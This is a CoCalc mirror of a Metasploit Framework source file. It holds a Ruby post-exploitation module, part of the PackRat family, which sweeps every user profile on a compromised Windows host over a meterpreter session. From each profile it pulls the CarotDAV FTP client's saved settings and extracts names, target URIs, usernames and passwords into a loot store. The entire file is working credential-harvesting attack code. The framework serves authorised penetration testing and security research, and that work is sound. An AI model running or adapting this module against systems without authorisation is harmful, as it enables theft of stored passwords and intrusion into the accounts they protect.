CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/carotdav_ftp.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
# this associative array defines the artifacts known to PackRat
8
include Msf::Post::File
9
include Msf::Post::Windows::UserProfiles
10
include Msf::Post::Windows::Packrat
11
ARTIFACTS =
12
{
13
application: 'CarotDAV',
14
app_category: 'FTP',
15
gatherable_artifacts: [
16
{
17
filetypes: 'logins',
18
path: 'AppData',
19
dir: 'Rei Software',
20
artifact_file_name: 'Setting',
21
description: 'Saved Bookmarks',
22
credential_type: 'xml',
23
xml_search: [
24
{
25
extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
26
extraction_type: 'credentials',
27
xml: [
28
'//Name',
29
'//TargetUri',
30
'//UserName',
31
'//Password'
32
]
33
}
34
]
35
}
36
]
37
}.freeze
38
39
def initialize(info = {})
40
super(
41
update_info(
42
info,
43
'Name' => 'CarotDAV credential gatherer',
44
'Description' => %q{
45
PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
46
PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
47
Further details can be found in the module documentation.
48
This is a module that searches for credentials stored on CarotDAV FTP Client in a windows remote host.
49
},
50
'License' => MSF_LICENSE,
51
'Author' => [
52
'Jacob Tierney',
53
'Kazuyoshi Maruta',
54
'Daniel Hallsworth',
55
'Barwar Salim M',
56
'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org
57
],
58
'Platform' => ['win'],
59
'SessionTypes' => ['meterpreter'],
60
'Notes' => {
61
'Stability' => [CRASH_SAFE],
62
'Reliability' => [],
63
'SideEffects' => []
64
}
65
)
66
)
67
68
register_options(
69
[
70
OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
71
OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
72
# enumerates the options based on the artifacts that are defined below
73
OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])
74
]
75
)
76
end
77
78
def run
79
print_status('Filtering based on these selections: ')
80
print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
81
print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
82
print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
83
84
# used to grab files for each user on the remote host
85
grab_user_profiles.each do |userprofile|
86
run_packrat(userprofile, ARTIFACTS)
87
end
88
89
print_status 'PackRat credential sweep Completed'
90
end
91
end
92
93